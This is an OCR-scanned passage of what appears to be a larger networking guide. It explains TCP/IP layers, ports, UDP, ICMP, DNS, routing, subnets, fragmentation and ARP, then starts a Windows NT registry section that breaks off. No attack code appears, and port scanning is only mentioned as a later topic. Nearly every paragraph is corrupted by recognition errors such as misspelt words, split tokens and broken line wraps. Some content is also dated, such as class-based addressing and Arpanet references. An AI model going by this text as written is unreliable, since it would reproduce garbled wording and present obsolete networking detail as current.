source of the datagram O course the TCP at the other end has assigned a port nunber of its

own for the conversation. Your TCP has to know the port nunber used by the other end as well.

(I't finds out when the connection starts, as we will explain below ) It puts this in the
"destination"

port field. O course if the other end sends a
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dat agram back to you, the source and destination port nunbers will be reversed, since then it wll
be the source and you will be the destination.

Each datagram has a sequence nunber. This is used so that the other end can nake sure that it
gets the datagrans in the right order, and that it hasn't mssed any. (See the TCP specification
for

details.) TCP doesn't nunber the datagrans, but the octets. So if there are 500 octets of data in
each datagram the first datagram m ght be nunbered 0, the second 500, the next 1000, the next
1500,

etc.

Finally, I will nention the Checksum This is a nunber that is conputed by adding up all the
octets in the datagram (nore or less - see the TCP spec). The result is put in the header. TCP at
the other end conputes the checksumagain. |If they disagree, then sonething bad happened to

the datagramin transmission, and it is thrown away.

The wi ndow i s used to control how nuch data can be in transit at any one tine. It is not practica
to wait for each datagramto be acknow edged before sending the next one. That woul d sl ow

t hi ngs down

too much. On the other hand, you can't just keep sending, or a fast conputer mght overrun the
capacity of a slow one to absorb data. Thus each end indicates how nuch new data it is currently
prepared to

absorb by putting the nunber of octets inits "Wndow' field. As the conputer receives data, the
anount of space left in its wi ndow decreases. Wen it goes to zero, the sender has to stop. As
the receiver processes the data, it increases its window, indicating that it is ready to accept
nor e

data. Often the sane datagram can be used to acknow edge recei pt of a set of data and to give
perm ssion for

addi ti onal new data (by an updated w ndow).

The "Urgent” field allows one end to tell the other to skip ahead in its processing to a
particul ar

octet. This is often useful for handling asynchronous events, for exanple when you type a contro
character or other command that interrupts output. The other fields are beyond the scope of this
docunent .

[2.1.2] The IP level

TCP sends each of these datagrans to IP. O course it has to tell IP the Internet address of the
conputer at the other end. Note that this is all IP is concerned about. It doesn't care about what
is

in the

datagram or even in the TCP header. IP's job is sinply to find a route for the datagram and get
it

to the other end. In order to all ow gateways or other internediate systens to forward the
datagram it

adds its own header.

The main things in this header are the source and destination Internet address (32-bit addresses,
like 128.6.4.194), the protocol nunber, and another checksum The source Internet address is
sinmply the address of your machine. (This is necessary so the other end knows where the

dat agram canme from) The destination Internet address is the address of the other machine. (This
is necessary so any gateways in the mddl e know where you want the datagramto go.) The

protocol nunber tells IP at the other end to send the datagramto TCP. Although nost IP traffic
uses TCP, there are other protocols that can use IP, so you have to tell |P which protocol to send
the datagramto.

Finally, the checksumallows IP at the other end to verify that the header wasn't damaged in
transit. Note that TCP and | P have separate checksunms. |IP needs to be able to verify that the
header didn't get

damaged in transit, or it could send a nessage to the wong place. For reasons not worth

di scussing here, it is both nore efficient and safer to have TCP conpute a separate checksum for
the TCP header and data. Again, the header contains sonme additional fields that have not been

di scussed. Mdst of themare

beyond the scope of this document. The flags and fragment offset are used to keep track of the
pi eces when a

datagram has to be split up. This can happen when datagrans are forwarded through a network

for which they are too big. (This will be discussed a bit nore below.) The time to live is a
nunber
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that is

decrement ed whenever the datagram passes through a system When it goes to zero, the

datagramis discarded. This is done in case a | oop develops in the system sonehow. O course
this should be inpossible, but well-designed networks are built to cope with "inpossi bl e"

condi tions.

At this point, it's possible that no nore headers are needed. |f your conputer happens to have a
direct phone line connecting it to the destination conputer, or to a gateway, it nmay sinply send
t he

datagrans out on the line (though likely a synchronous protocol such as HDLC woul d be used,

and it would add at least a few octets at the begi nning and end).

[2.1.3] The Ethernet |eve

Most of our networks these days use Ethernet. So now we have to describe Ethernet's headers.
Unfortunately, Ethernet has its own addresses. The people who designed Ethernet wanted to

make sure that no two machi nes would end up with the same Ethernet address. Furthernore,

they didn't want the user to have to worry about assigning addresses. So each Ethernet controller
cones with an address

builtin fromthe factory. In order to nake sure that they woul d never have to reuse addresses, the
Et hernet designers allocated 48 bits for the Ethernet address. People who nake Ethernet

equi prent have to

register with a central authority, to nake sure that the nunbers they assign don't overlap any
ot her manufacturer.

Et hernet is a "broadcast nmediunt. That is, it is in effect like an old party line tel ephone. Wen
you

send a packet out on the Ethernet, every nmachine on the network sees the packet. So sonething

i s needed

to make sure that the right nachine gets it. As you mght guess, this involves the Ethernet
header. Every Ethernet packet has a 14-octet header that includes the source and destination

Et her net address, and

a type code. Each nachine is supposed to pay attention only to packets with its own Ethernet
address in the destination field. (It's perfectly possible to cheat, which is one reason that

Et her net

communi cations are not terribly secure.)

Note that there is no connection between the Ethernet address and the Internet address. Each
machi ne has to have a table of what Ethernet address corresponds to what Internet address. (W
will describe how

this table is constructed a bit later.) In addition to the addresses, the header contains a type
code. The type code is to allow for several different protocol fanilies to be used on the sane
networ k. So you can

use TCP/ 1P, DECnet, Xerox NS, etc. at the same tine. Each of themw || put a different value in
the type field. Finally, there is a checksum The Ethernet controller conputes a checksum of the
entire

packet. When the other end receives the packet, it reconmputes the checksum and throws the
packet away if the answer disagrees with the original. The checksumis put on the end of the
packet, not in the

header .

When these packets are received by the other end, of course all the headers are renoved. The

Et hernet interface renoves the Ethernet header and the checksum It |ooks at the type code.
Since the type

code is the one assigned to IP, the Ethernet device driver passes the datagramup to IP. IP
removes the I P header. It looks at the IP protocol field. Since the protocol type is TCP, it
passes

t he datagram

up to TCP. TCP now | ooks at the sequence nunber. It uses the sequence nunbers and ot her
infornmation to conbine all the datagrans into the original file. The ends our initial sunmary of
TCP/ I P. There are

still some crucial concepts we haven't gotten to, so we'll now go back and add details in several
areas. (For detailed descriptions of the itenms discussed here see, RFC 793 for TCP, RFC 791 for

I P, and RFC s

894 and 826 for sending |IP over Ethernet.)

[2.1.4] Well-Known Sockets And The Applications Layer

So far, we have described how a stream of data is broken up into datagrans, sent to another
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conmput er, and put back together. However sonething nore is needed in order to acconplish
anyt hi ng useful. There

has to be a way for you to open a connection to a specified conmputer, log into it, tell it what
file

you want, and control the transm ssion of the file. (If you have a different application in m nd
e.g.

conputer mail, some anal ogous protocol is needed.) This is done by "application protocols"

The application protocols run "on top" of TCP/IP. That is, when they want to send a message,
they give the nessage to TCP. TCP nakes sure it gets delivered to the other end. Because TCP

and | P take care of all the networking details, the applications protocols can treat a network
connection as if it were a sinple byte stream like a terninal or phone line. Before going into
nore details about applications

progranms, we have to describe how you find an application

Suppose you want to send a file to a conputer whose Internet address is 128.6.4.7. To start the
process, you need nore than just the Internet address. You have to connect to the FTP server at
t he ot her

end. In general, network prograns are specialized for a specific set of tasks. Mst systens have
separate prograns to handle file transfers, rempte terninal |ogins, mail, etc. Wen you connect to
128.6.4.7, you have to specify that you want to talk to the FTP server. This is done by having
"wel | - known sockets" for each server. Recall that TCP uses port numbers to keep track of

i ndi vi dual conversations. User prograns normally use nore or |ess random port nunbers.

However specific port nunbers are assigned to the prograns that sit waiting for requests.

For exanple, if you want to send a file, you will start a programcalled "ftp". It will open a
connection using some random nunber, say 1234, for the port nunber on its end. However it wl]l
specify port

nunber 21 for the other end. This is the official port nunber for the FTP server. Note that there
are two different progranms involved. You run ftp on your side. This is a program designed to
accept conmands

fromyour ternminal and pass themon to the other end. The programthat you talk to on the other
machine is the FTP server. It is designed to accept conmmands fromthe network connection

rather than an

interactive terminal. There is no need for your programto use a well-known socket nunber for
itself. Nobody is trying to find it. However the servers have to have well-known numbers, so that
peopl e can open connections to themand start sendi ng them conmmands. The official port

nunbers for each programare given in "Assigned Nunbers"

Note that a connection is actually described by a set of 4 nunbers: the Internet address at each
end, and the TCP port nunber at each end. Every datagram has all four of those nunbers in it.
(The Internet

addresses are in the I P header, and the TCP port nunbers are in the TCP header.) In order to
keep things straight, no two connections can have the same set of nunmbers. However it is

enough for any one nunber

to be different. For exanple, it is perfectly possible for two different users on a nachine to be
sending files to the same other machine. This could result in connections with the follow ng

par anet ers:

I nternet addresses TCP ports

connection 1 128.6.4.194, 128.6.4.7 1234, 21

connection 2 128.6.4.194, 128.6.4.7 1235, 21

Since the sane machines are involved, the Internet addresses are the same. Since they are both
doing file transfers, one end of the connection involves the well-known port nunber for FTP. The
only thing

that differs is the port nunber for the programthat the users are running. That's enough of a
difference. Cenerally, at |east one end of the connection asks the network software to assign it a
port nunber

that is guaranteed to be unique. Normally, it's the user's end, since the server has to use a
wel | known

numrber .

Now t hat we know how to open connections, let's get back to the applications prograns. As
mentioned earlier, once TCP has opened a connection, we have sonething that might as well be

a sinple wire. A

the hard parts are handled by TCP and | P. However we still need sone agreenent as to what we
send over this connection. In effect this is sinply an agreenment on what set of commands the
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application wll

understand, and the format in which they are to be sent. CGenerally, what is sent is a conbination
of conmmands and data. They use context to differentiate.

For exanple, the mail protocol works like this: Your mail program opens a connection to the mai
server at the other end. Your programgives it your nmachine's name, the sender of the nessage,
and the

recipients you want it sent to. It then sends a comuand saying that it is starting the message. At
that point, the other end stops treating what it sees as conmands, and starts accepting the
message. Your end then starts sending the text of the nessage. At the end of the nessage, a
special mark is sent (a dot in the first colum). After that, both ends understand that your
program

i s again sending conmands. This is the sinplest way to do things, and the one that nost
appl i cations use.

File transfer is sonewhat nore conplex. The file transfer protocol involves two different

connections. It starts out just like nmail. The user's program sends comands like "log ne in as
this user", "here is
my password”, "send ne the file with this name". However once the command to send data is

sent, a second connection is opened for the data itself. It would certainly be possible to send
t he

data on the

same connection, as mail does. However file transfers often take a long tinme. The desi gners of
the file transfer protocol wanted to allow the user to continue issuing conmands while the
transfer

i s going

on. For exanple, the user m ght nake an inquiry, or he might abort the transfer. Thus the
designers felt it was best to use a separate connection for the data and | eave the origina
command connection for

commands. (It is also possible to open conmand connections to two different conputers, and tel
themto send a file fromone to the other. In that case, the data couldn't go over the command
connection.)

Renmote term nal connections use another nmechanismstill. For renote logins, there is just one
connection. It normally sends data. Wien it is necessary to send a command (e.g. to set the
term nal type or to change sonme npde), a special character is used to indicate that the next
character is a conmand. |If the user happens to type that special character as data, two of them
are sent.

We are not going to describe the application protocols in detail in this docunent. It's better to
read

the RFC s yourself. However there are a couple of commopn conventions used by applications that
will be

descri bed here. First, the conmon network representation: TCP/IP is intended to be usable on
any computer. Unfortunately, not all conputers agree on how data is represented. There are
differences in

character codes (ASCIlI vs. EBCDIC), in end of line conventions (carriage return, line feed, or a
representation using counts), and in whether term nals expect characters to be sent individually
or a line

at atine. In order to allow conputers of different kinds to conmunicate, each applications
protocol defines a standard representation

Note that TCP and | P do not care about the representation. TCP sinply sends octets. However

the prograns at both ends have to agree on how the octets are to be interpreted. The RFC for

each application specifies the standard representation for that application. Normally it is "net
ASCI1". This uses ASCI|I characters, with end of Iine denoted by a carriage return followed by a
line feed. For renote

login, there is also a definition of a "standard ternmnal", which turns out to be a half-dupl ex

term nal with echoi ng happening on the |ocal nachine. Mt applications also make provisions for
the two

conputers to agree on other representations that they nmay find nore convenient. For exanple,
PDP-10's have 36-bit words. There is a way that two PDP-10's can agree to send a 36-bit binary
file. Simlarly,

two systens that prefer full-duplex term nal conversations can agree on that. However each
application has a standard representation, which every nmachi ne nust support.

Keep in mnd that it has beconme comon practice for sone corporations to change a services
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port nunber on the server side. If your client software is not configured with the same port
nunber, connection will not be successful. W will discuss later in this text how you can perform
port scanning on an entire |IP address to see which ports are active.

[2.1.5] O her IP Protocols

Protocol s other than TCP: UDP and | CVP

So far, we have described only connections that use TCP. Recall that TCP is responsible for
breaki ng up nessages into datagrans, and reassenbling them properly. However in many
appl i cations, we have

nmessages that will always fit in a single datagram An exanple is name | ookup. Wen a user
attenpts to make a connection to another system he will generally specify the system by nane,
rat her than Internet

address. Hs systemhas to translate that name to an address before it can do anything.
Generally, only a few systens have the database used to translate nanes to addresses. So the
user's systemw Il want to send a query to one of the systems that has the database. This query
is going to be very short. It will certainly fit in one datagram So will the answer. Thus it
seens

silly to use TCP. O course TCP does

nmore than just break things up into datagrans. It also nakes sure that the data arrives, resending
dat agrans where necessary. But for a question that fits in a single datagram we don't need al

t he

complexity of TCP to do this. If we don't get an answer after a few seconds, we can just ask
again. For applications like this, there are alternatives to TCP

The npbst comon alternative is UDP ("user datagram protocol"). UDP is designed for

applications where you don't need to put sequences of datagrams together. It fits into the system
much |ike TCP. There is a

UDP header. The network software puts the UDP header on the front of your data, just as it

woul d put a TCP header on the front of your data. Then UDP sends the data to |IP, which adds

the I P header, putting

UDP's protocol nunber in the protocol field instead of TCP's protocol nunber. However UDP
doesn't do as nmuch as TCP does. It doesn't split data into nultiple datagrams. It doesn't keep
track of what it has

sent so it can resend if necessary. About all that UDP provides is port numbers, so that severa
programs can use UDP at once. UDP port nunbers are used just |ike TCP port nunbers. There

are wel | -known port

nunbers for servers that use UDP. Note that the UDP header is shorter than a TCP header. It still
has source and destination port nunbers, and a checksum but that's about it. No sequence
nurmber, since it is not needed. UDP is used by the protocols that handl e nanme | ookups (see |IEN
116, RFC 882, and RFC 883), and a nunber of sinilar protocols.

Anot her alternative protocol is ICW ("Internet Control Message Protocol"). ICWP is used for error
messages, and ot her messages intended for the TCP/IP software itself, rather than any particul ar
user program For exanple, if you attenpt to connect to a host, your system nmay get back an

| CMP nessage sayi ng "host unreachable". |CVMP can also be used to find out sone information

about the network. See RFC 792 for details of ICMP. ICMP is similar to UDP, in that it handles
messages that fit in one datagram However it is even sinpler than UDP. It doesn't even have
port nunbers in its header. Since all | CWP nessages are interpreted by the network software
itself, no port nunbers are needed to say where a | CMP nessage i s supposed to go.

[2.1.6] Domain Nane System

Keepi ng track of names and information: the domain system

As we indicated earlier, the network software generally needs a 32-bit Internet address in order
to

open a connection or send a datagram However users prefer to deal with computer names rather

t han

nunbers. Thus there is a database that allows the software to | ook up a nane and find the
correspondi ng nunber. Wen the Internet was small, this was easy. Each system woul d have a

file that listed all of the

other systens, giving both their name and nunmber. There are now too nany conputers for this
approach to be practical. Thus these files have been replaced by a set of nane servers that keep
track of host

nanes and the corresponding Internet addresses. (In fact these servers are sonewhat nore

general than that. This is just one kind of information stored in the domain system)

Note that a set of interlocking servers are used, rather than a single central one. There are now
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so many different institutions connected to the Internet that it would be inpractical for themto
notify a centra

authority whenever they installed or noved a conputer. Thus nami ng authority is delegated to

i ndi vidual institutions. The nane servers forma tree, corresponding to institutional structure.
The

names

thensel ves follow a simlar structure

A typical exanple is the name BORAX.LCS.M T.EDU. This is a conputer at the Laboratory for
Comput er Science (LCS) at MT. In order to find its Internet address, you m ght potentially have
to consult 4

different servers. First, you would ask a central server (called the root) where the EDU server
is.

EDU is a server that keeps track of educational institutions. The root server would give you the
nanes and

I nternet addresses of several servers for EDU. (There are several servers at each level, to allow
for the possibly that one m ght be down.) You would then ask EDU where the server for MT is.
Again, it

woul d gi ve you nanes and Internet addresses of several servers for MT. Cenerally, not all of
those servers would be at MT, to allow for the possibility of a general power failure at MT.
Then

you woul d ask

M T where the server for LCSis, and finally you woul d ask one of the LCS servers about BORAX
The final result would be the Internet address for BORAX LCS. M T. EDU. Each of these levels is
referred to as

a "domain". The entire name, BORAX. LCS.MT.EDU, is called a "domain nanme". (So are the

nanes of the higher-1level dommins, such as LCS.MT.EDU, MT. EDU, and EDU.)

Fortunately, you don't really have to go through all of this nost of the time. First of all, the
r oot

nane servers al so happen to be the nane servers for the top-level domains such as EDU. Thus

a single

query to a root server will get you to MT. Second, software generally renenbers answers that it
got before. So once we | ook up a nane at LCS. M T. EDU, our software remenbers where to find
servers for

LCS.MT.EDU, MT.EDU, and EDU. It also renenbers the translation of BORAX LCS. M T. EDU

Each of these pieces of information has a "time to live" associated with it. Typically this is a
few

days. After that,

the informati on expires and has to be | ooked up again. This allows institutions to change things.
The domain systemis not limted to finding out Internet addresses. Each donain nanme is a node

in a database. The node can have records that define a nunber of different properties. Exanples
are

I nternet address, conputer type, and a list of services provided by a conputer. A program can

ask for a specific piece of information, or all information about a given nane. It is possible for
a

node in the

dat abase to be narked as an "alias" (or nicknane) for another node. It is also possible to use the
domain systemto store informati on about users, mailing lists, or other objects.

There is an Internet standard defining the operation of these databases, as well as the protocols
used to nmake queries of them Every network utility has to be able to nmake such queries, since
this is now the official way to evaluate host names. Cenerally utilities will talk to a server on
their

own system This server will take care of contacting the other servers for them This keeps down
the amount of code that has to be in each application program

The donmain systemis particularly inportant for handling conputer mail. There are entry types to
define what conputer handles nail for a given nane, to specify where an individual is to receive
mail, and to

define mailing lists. (See RFC s 882, 883, and 973 for specifications of the domain system RFC
974 defines the use of the donmain systemin sending mail.)

[2.1.7] Routing

The description above indicated that the IP inplenentation is responsible for getting datagrans
to the destination indicated by the destination address, but little was said about how this woul d
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be

done. The task of finding howto get a datagramto its destination is referred to as "routing". In
fact many of the details depend upon the particular inplenmentation. However sone genera

thi ngs can be said.

First, it is necessary to understand the nodel on which IP is based. |IP assunes that a systemis
attached to sonme | ocal network. We assume that the system can send datagrams to any other
systemon its own network. (In the case of Ethernet, it sinply finds the Ethernet address of the
destination system and puts the datagram out on the Ethernet.) The probl em cones when a
systemis asked to send a datagramto a systemon a different network. This problemis handl ed
by gateways. A gateway is a systemthat connects a network with one or nore ot her networks.

Gat eways are often normal conputers that happen to have nore than one network interface. For
exanpl e, we have a Uni x machine that has two different Ethernet interfaces. Thus it is connected
to networks 128.6.4 and 128.6.3. This machine can act as a gateway between those two

networ ks. The software on that machine nust be set up so that it will forward datagrans from one
network to the other. That is, if a machine on network 128.6.4 sends a datagramto the gateway,
and the datagramis addressed to a nachi ne on network

128.6.3, the gateway will forward the datagramto the destination. Major conmunications centers
of ten have gateways that connect a nunber of different networks. (In nmany cases, speci al purpose
gateway systens provide better performance or reliability than general - purpose systens

acting as gateways. A number of vendors sell such systens.)

Routing in IP is based entirely upon the network nunber of the destination address. Each
conputer has a table of network nunbers. For each network nunber, a gateway is listed. This is
the gateway to be

used to get to that network. Note that the gateway doesn't have to connect directly to the

net wor k.

It just has to be the best place to go to get there. For exanple at Rutgers, our interface to
NSFnet

is at

the John von Neuman Superconputer Center (JvNC). Qur connection to JVNC is via a highspeed
serial line connected to a gateway whose address is 128.6.3.12. Systens on net 128.6.3

will list 128.6.3.12 as

the gateway for many of f-canmpus networks. However systens on net 128.6.4 will list 128.6.4.1 as

the gateway to those sane of f-campus networks. 128.6.4.1 is the gateway between networks

128.6.4 and

128.6.3, so it is the first step in getting to JvNC

When a conputer wants to send a datagram it first checks to see if the destination address is on
the systems own |l ocal network. If so, the datagram can be sent directly. Oherw se, the system
expects to

find an entry for the network that the destination address is on. The datagramis sent to the
gateway listed in that entry. This table can get quite big. For exanple, the Internet now includes
several hundred

i ndi vi dual networks. Thus various strategi es have been devel oped to reduce the size of the
routing table. One strategy is to depend upon "default routes". Oten, there is only one gateway
out of a network. This gateway night connect a |ocal Ethernet to a canpus-w de backbone

network. In that case, we don't need to have a separate entry for every network in the world. W
sinply define that gateway as a "default”. Wen no specific route is found for a datagram the
datagramis sent to the default gateway. A default gateway can even be used when there are
several gateways on a network. There are provisions for gateways to send a nessage saying "l'm
not the best gateway -- use this one instead." (The nessage is sent via | CWP. See RFC 792.)

Most network software is designed to use these nessages to add entries to their routing tables.
Suppose network 128.6.4 has two gateways, 128.6.4.59 and 128.6.4.1. 128.6.4.59 leads to

several other internal Rutgers networks. 128.6.4.1 leads indirectly to the NSFnet. Suppose we set
128.6.4.59 as a default gateway, and have no other routing table entries. Now what happens

when we need to send a datagramto MT? MT is network 18. Since we have no entry for

network 18, the datagramw ||l be sent to the default, 128.6.4.59. As it happens, this gateway is
the wong one. So it will forward the

datagramto 128.6.4.1. But it will also send back an error saying in effect: "to get to network
18,

use 128.6.4.1". Qur software will then add an entry to the routing table. Any future datagrams to
MT will then go directly to 128.6.4.1. (The error nessage is sent using the | CVMP protocol. The
message type is called "ICVMP redirect.™)
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Most | P experts reconmend that individual conputers should not try to keep track of the entire
network. |Instead, they should start with default gateways, and let the gateways tell themthe
routes, as just

descri bed. However this doesn't say how the gateways should find out about the routes. The

gat eways can't depend upon this strategy. They have to have fairly conplete routing tables. For
this, some sort of

routing protocol is needed. A routing protocol is sinply a technique for the gateways to find each
other, and keep up to date about the best way to get to every network. RFC 1009 contains a

revi ew of

gat eway design and routing. However rip.doc is probably a better introduction to the subject. It
contains sone tutorial material, and a detail ed description of the nost commonl y-used routing

pr ot ocol

[2.1.8] Subnets and Broadcasting

Detail s about Internet Addresses: Subnets and Broadcasting

As indicated earlier, Internet addresses are 32-bit nunbers, nornally witten as 4 octets (in
decinmal), e.g. 128.6.4.7. There are actually 3 different types of address. The problemis that the
address has to

i ndi cate both the network and the host within the network. It was felt that eventually there would
be I ots of networks. Many of them would be small, but probably 24 bits would be needed to
represent all the IP

networks. It was also felt that some very big networks nmight need 24 bits to represent all of
their

hosts. This would seemto lead to 48 bit addresses. But the designers really wanted to use 32 bit
addresses. So they adopted a kl udge.

The assunption is that nost of the networks will be snall. So they set up three different ranges
of

address. Addresses beginning with 1 to 126 use only the first octet for the network nunber. The
other three octets are avail able for the host nunber. Thus 24 bits are available for hosts. These
nunbers are used for |arge networks. But there can only be 126 of these very big networks. The
Arpanet is one, and there are a few large comercial networks. But few nornal organizations get
one of these "class A" addresses. For normal |arge organizations, "class B" addresses are used.
Cl ass B addresses use the first two octets for the network number. Thus network nunbers are
128.1 through 191.254. (W avoid 0 and 255, for reasons that we see bel ow. W al so avoid
addresses beginning with 127, because that is used by sonme systens for special purposes.) The

| ast two octets are available for host addesses, giving 16 bits of host address. This allows for
64516 conputers, which should be enough for nost organizations. (It is possible to get nore than
one class B address, if you run out.) Finally, class C addresses use three octets, in the range
192.1.1 to 223.254.254. These allow only 254 hosts on each network, but there can

be lots of these networks. Addresses above 223 are reserved for future use, as class D and E
(which are currently not defined).

Many | arge organi zations find it convenient to divide their network nunber into "subnets". For
exanpl e, Rutgers has been assigned a class B address, 128.6. W find it convenient to use the
third octet of the

address to indicate which Ethernet a host is on. This division has no significance outside of
Rutgers. A conputer at another institution would treat all datagrans addressed to 128.6 the sane
way. They woul d

not look at the third octet of the address. Thus conputers outside Rutgers would not have
different routes for 128.6.4 or 128.6.5. But inside Rutgers, we treat 128.6.4 and 128.6.5 as
separate networks. In

effect, gateways inside Rutgers have separate entries for each Rutgers subnet, whereas

gat eways outside Rutgers just have one entry for 128.6.

Note that we could do exactly the sanme thing by using a separate class C address for each

Et hernet. As far as Rutgers is concerned, it would be just as convenient for us to have a nunber
of class C

addresses. However using class C addresses woul d make things inconvenient for the rest of the
worl d. Every institution that wanted to talk to us would have to have a separate entry for each
one

of our

networks. If every institution did this, there would be far too many networks for any reasonabl e
gateway to keep track of. By subdividing a class B network, we hide our internal structure from
everyone el se
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and save themtrouble. This subnet strategy requires special provisions in the network software.
It

is described in RFC 950.

0 and 255 have special neanings. 0 is reserved for nmachines that don't know their address. In
certain circunstances it is possible for a nachine not to know the nunber of the network it is on
or even its

own host address. For exanple, 0.0.0.23 would be a nachine that knew it was host nunber 23,

but didn't know on what network.

255 is used for "broadcast”. A broadcast is a message that you want every systemon the

network to see. Broadcasts are used in sone situations where you don't know who to talk to. For
exanpl e, suppose

you need to ook up a host name and get its Internet address. Sonetinmes you don't know the
address of the nearest nanme server. |In that case, you night send the request as a broadcast.
There are al so cases where a nunber of systems are interested in information. It is then |ess
expensive to send a single broadcast than to send datagrans individually to each host that is
interested in the information. In order to send a broadcast, you use an address that is nade by
usi ng your network address, with all ones in the part of the address where the host nunber goes.
For exanple, if you are on network 128.6.4, you would use 128.6.4.255 for broadcasts. How this
is actually inplemented depends upon the nedium It is not possible to send broadcasts on the
Arpanet, or on point to point lines. However it is possible on an Ethernet. If you use an Ethernet
address with all its bits on (all ones), every machine on the Ethernet is supposed to | ook at that
dat agram

Al t hough the official broadcast address for network 128.6.4 is now 128.6.4.255, there are sone
ot her addresses that nay be treated as broadcasts by certain inplenmentations. For convenience,

t he standard

al so al l ows 255. 255. 255. 255 to be used. This refers to all hosts on the local network. It is often
simpler to use 255.255.255. 255 instead of finding out the network nunber for the |ocal network
and formng a

broadcast address such as 128.6.4.255. In addition, certain ol der inplenentations nay use 0

i nstead of 255 to formthe broadcast address. Such inplenmentations would use 128.6.4.0 instead
of 128.6.4.255 as the broadcast address on network 128.6.4. Finally, certain ol der

i mpl enent ati ons may not understand about subnets. Thus they consider the network number to

be 128.6. In that case, they will assune a broadcast address of 128.6.255.255 or 128.6.0.0. Unti
support for broadcasts is inplenented properly, it can be a sonmewhat dangerous feature to use.
Because 0 and 255 are used for unknown and broadcast addresses, normal hosts shoul d never

be given addresses containing O or 255. Addresses should never begin with 0, 127, or any

nunber above 223. Addresses violating these rules are sonetines referred to as "Marti ans"
because of runors that the Central University of Mars is using network 225.

[2.1.9] Datagram Fragnentation and Reassenbly

TCP/IP is designed for use with many different kinds of network. Unfortunately, network

desi gners do not agree about how big packets can be. Ethernet packets can be 1500 octets |ong.
Ar panet packets have a nmaxi mum of around 1000 octets. Sone very fast networks have nuch

| arger packet sizes. At first, you nmight think that I P should sinply settle on the small est
possi bl e

size. Unfortunately, this would cause serious performance problens. Wen transferring |arge
files, big packets are far nore efficient than small ones. So we want to be able to use the

| ar gest

packet size possible. But we also want to be able to handle networks with small limts.

There are two provisions for this. First, TCP has the ability to "negotiate" about datagram size
When a TCP connection first opens, both ends can send the naxi num datagram si ze they can

handl e. The

snmal l er of these nunbers is used for the rest of the connection. This allows two inplenentations
that can handle big datagrans to use them but also lets themtalk to inplenentations that can't
handl e them However this doesn't conpletely solve the problem The nost serious problemis

that the two ends don't necessarily know about all of the steps in between. For exanple, when
sendi ng data between Rutgers and Berkeley, it is likely that both conputers will be on Ethernets
Thus they will both be prepared to handl e 1500-octet datagrans. However the connection will at
some point end up going over the Arpanet. It can't handl e packets of that size. For this reason
there are provisions to split datagrans up into pieces. (This is referred to as "fragnmentation".)
The

| P header contains fields indicating the datagram has been split, and enough information to | et
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the pieces be put back together. If a gateway connects an Ethernet

to the Arpanet, it rmust be prepared to take 1500-octet Ethernet packets and split theminto pieces
that will fit on the Arpanet. Furthernore, every host inplenmentation of TCP/IP nust be prepared
to accept pieces and put them back together. This is referred to as "reassenbl y".

TCP/ 1P inplenentations differ in the approach they take to deciding on datagramsize. It is fairly
common for inplementations to use 576-byte datagrams whenever they can't verify that the

entire path is able to

handl e | arger packets. This rather conservative strategy is used because of the nunber of

i npl enentations with bugs in the code to reassenble fragments. Inplenmentors often try to avoid
ever having fragnmentation occur. Different inplenentors take different approaches to deciding
when it is safe to use large datagrans. Sone use themonly for the |local network. Qthers will use
them for any network on the same canpus. 576 bytes is a "safe" size, which every

i mpl ement ati on must support.

[2.2.0] Ethernet encapsul ation: ARP

There was a brief discussion earlier about what | P datagrans | ook |ike on an Ethernet. The

di scussi on showed t he Ethernet header and checksum However it left one hole: It didn't say how
to figure out

what Ethernet address to use when you want to talk to a given Internet address. In fact, there is
a

separate protocol for this, called ARP ("address resolution protocol"). (Note by the way that ARP
is not an I P protocol. That is, the ARP datagranms do not have |P headers.)

Suppose you are on system 128.6.4.194 and you want to connect to system 128.6.4.7. Your
systemwi ||l first verify that 128.6.4.7 is on the same network, so it can talk directly via

Et her net .

Then it will look up 128.6.4.7 in its ARP table, to see if it already knows the Ethernet address.
|

so, it will stick on an Ethernet header, and send the packet. But suppose this systemis not in

t he

ARP table. There is

no way to send the packet, because you need the Ethernet address. So it uses the ARP protoco

to send an ARP request. Essentially an ARP request says "I need the Ethernet address for
128.6.4.7". Every systemlistens to ARP requests. Wen a system sees an ARP request for itself,

it is required to respond. So 128.6.4.7 will see the request, and will respond with an ARP reply
saying in effect "128.6.4.7 is

8:0:20: 1:56: 34". (Recall that Ethernet addresses are 48 bits. This is 6 octets. Ethernet addresses
are conventionally shown in hex, using the punctuation shown.) Your systemwl|l save this
information inits

ARP table, so future packets will go directly. Mst systens treat the ARP table as a cache, and
clear entries init if they have not been used in a certain period of tine.

Note by the way that ARP requests nust be sent as "broadcasts”. There is no way that an ARP

request can be sent directly to the right system After all, the whole reason for sending an ARP
request is that
you don't know the Ethernet address. So an Ethernet address of all ones is used, i.e.

ffoff:ff:ff:ff:ff.

By convention, every machine on the Ethernet is required to pay attention to packets with this as
an

address. So every system sees every ARP requests. They all |look to see whether the request is

for their own address. If so, they respond. If not, they could just ignore it. (Some hosts wll
use

ARP requests to

update their know edge about other hosts on the network, even if the request isn't for them) Note
that packets whose | P address indicates broadcast (e.g. 255.255.255.255 or 128.6.4.255) are

al so sent with an Ethernet address that is all ones.

[3.0.0] Preface to the WndowsNT Registry

This section is not neant for NT engineers that already know the registry, and its not nmeant for
peopl e that have read the 800+ page books on the registry |I’'ve seen. This section is neant as a
qui ck gui de to get people understanding exactly what this registry thing is.

[3.0.1] What is the Registry?

The wi ndows registry provides for a sonewhat secure, unified database that stores configuration
information into a hierarchical nodel. Until recently, configuration files such as WN.IN, were
t he
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only way to configure wi ndows applications and operating systemfunctions. |In todays NT 4
environnent, the registry replaces these .IN files. Each key in the registry is simlar to

br acket ed

headings in an .IN file.

One of the nmmin disadvantages to the older .IN files is that those files are flat text files,

whi ch are

unabl e to support nested headings or contain data other than pure text. Registry keys can contain
nested headings in the formof subkeys. These subkeys provide finer details and a greater range
to the possible configuration information for a particul ar operating system Registry values can
al so consi st of executable code, as well as provide individual preferences for nultiple users of
t he

same conputer. The ability to store executable code within the Registry extends its usage to
operating system system and application devel opers. The ability to store user-specific profile
information allows one to tailor the environnment for specific individual users.

To view the registry of an NT server, one would use the Registry Editor tool. There are two
versions of Registry Editor:

. . Regedt 32. exe has the npbst nenu itens and nore choices for the nenu itens. You can search

for keys and subkeys in the registry.

.. Regedi t.exe enables you to search for strings, values, keys, and subkeys and export keys to
.reg files. This feature is useful if you want to find specific data.

For ease of use, the Registry is divided into five seperate structures that represent the Registry
database in its entirety. These five groups are known as Keys, and are di scussed bel ow

[3.0.2] In Depth Key Di scussion

HKEY_ CURRENT _USER

This registry key contains the configuration information for the user that is currently |ogged in.
The

users folders, screen colors, and control panel settings are stored here. This information is
known

as a User Profile.

HKEY_ USERS

In wi ndowsNT 3.5x, user profiles were stored locally (by default) in the
